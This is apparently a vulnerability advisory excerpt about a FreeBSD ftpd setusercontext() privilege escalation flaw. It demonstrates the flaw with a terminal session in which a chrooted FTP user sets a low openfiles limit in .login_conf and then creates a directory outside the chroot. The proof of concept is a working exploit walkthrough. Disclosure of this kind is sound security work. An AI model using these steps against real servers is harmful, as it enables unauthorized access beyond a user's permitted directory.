FreeBSD ftpd 'setusercontext()'远程特权提升漏洞

                                                ---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:\
  :openfiles=5:
%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220  FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can't open passive connection: Too many open files.
425 Can't open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---